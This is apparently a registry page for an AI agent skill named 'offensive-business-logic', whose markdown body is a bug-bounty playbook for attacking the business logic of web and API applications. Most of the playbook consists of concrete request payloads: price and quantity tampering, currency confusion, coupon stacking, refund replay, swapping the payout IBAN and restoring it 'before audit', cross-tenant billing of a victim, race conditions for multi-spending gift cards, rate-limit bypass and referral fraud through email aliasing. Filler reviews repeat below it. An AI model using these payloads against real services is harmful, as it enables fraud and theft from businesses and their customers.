Agent skill / SnailSploit
### offensive-business-logic
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-business-logicExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-business-logicFetches offensive-business-logic from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-business-logic. Access via /offensive-business-logicin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-business-logicWorks with
| name | offensive-business-logic |
| description | "Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact." |
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
For each user flow, draw:
Look for transitions that:
cart → shipped without paid)shipped → cart)# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
Move a finalized object back to an editable state where mutations have effect:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
POST /api/orders/123/refund { "amount": 99999 }
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
Test every field that exists on the model, not just those the form exposes.
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.
| Flow | Race |
|---|---|
| Coupon redemption | N parallel apply-coupon calls each see "unused" |
| 2FA verification | Submit code N times in parallel before lockout counter increments |
| Withdrawal | Parallel withdraws each see full balance |
| Vote / Like / Reaction | "One per user" check raced |
| Invitation acceptance | Multiple accepts → multiple seats granted |
| Free-trial signup | Parallel signups → multiple trials per email |
| Gift-card redeem | Parallel redeems → multi-spend a single card |
| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card
| Bypass | Mechanic |
|---|---|
| Token reuse | One captcha solve, replay token across many requests |
| Endpoint mirror | /api/v1/login rate-limited, /api/v2/login not |
| Header rotation | X-Forwarded-For: <random> resets per-IP counter |
| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
| Method/case variation | POST /Login vs POST /login keyed differently in cache |
(userid, ip) not per userid.# Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail
attacker@googlemail.com # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install
POST /api/refer { "email": "a@x.com" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800
Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.
Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
100% off × 2 → negative totalChain template:
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.
Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.
Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
SnailSploit/Claude-Red
sickn33/antigravity-awesome-skills
shadcn/improve
schalkneethling/webdev-agent-skills
sickn33/antigravity-awesome-skills
jamditis/claude-skills-journalism
Registry listing for offensive-business-logic matched our evaluation — installs cleanly and behaves as described in the markdown.
Keeps context tight: offensive-business-logic is the kind of skill you can hand to a new teammate without a long onboarding doc.
offensive-business-logic is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
offensive-business-logic reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-business-logic fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
offensive-business-logic is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Keeps context tight: offensive-business-logic is the kind of skill you can hand to a new teammate without a long onboarding doc.
Registry listing for offensive-business-logic matched our evaluation — installs cleanly and behaves as described in the markdown.
offensive-business-logic is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
offensive-business-logic fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 36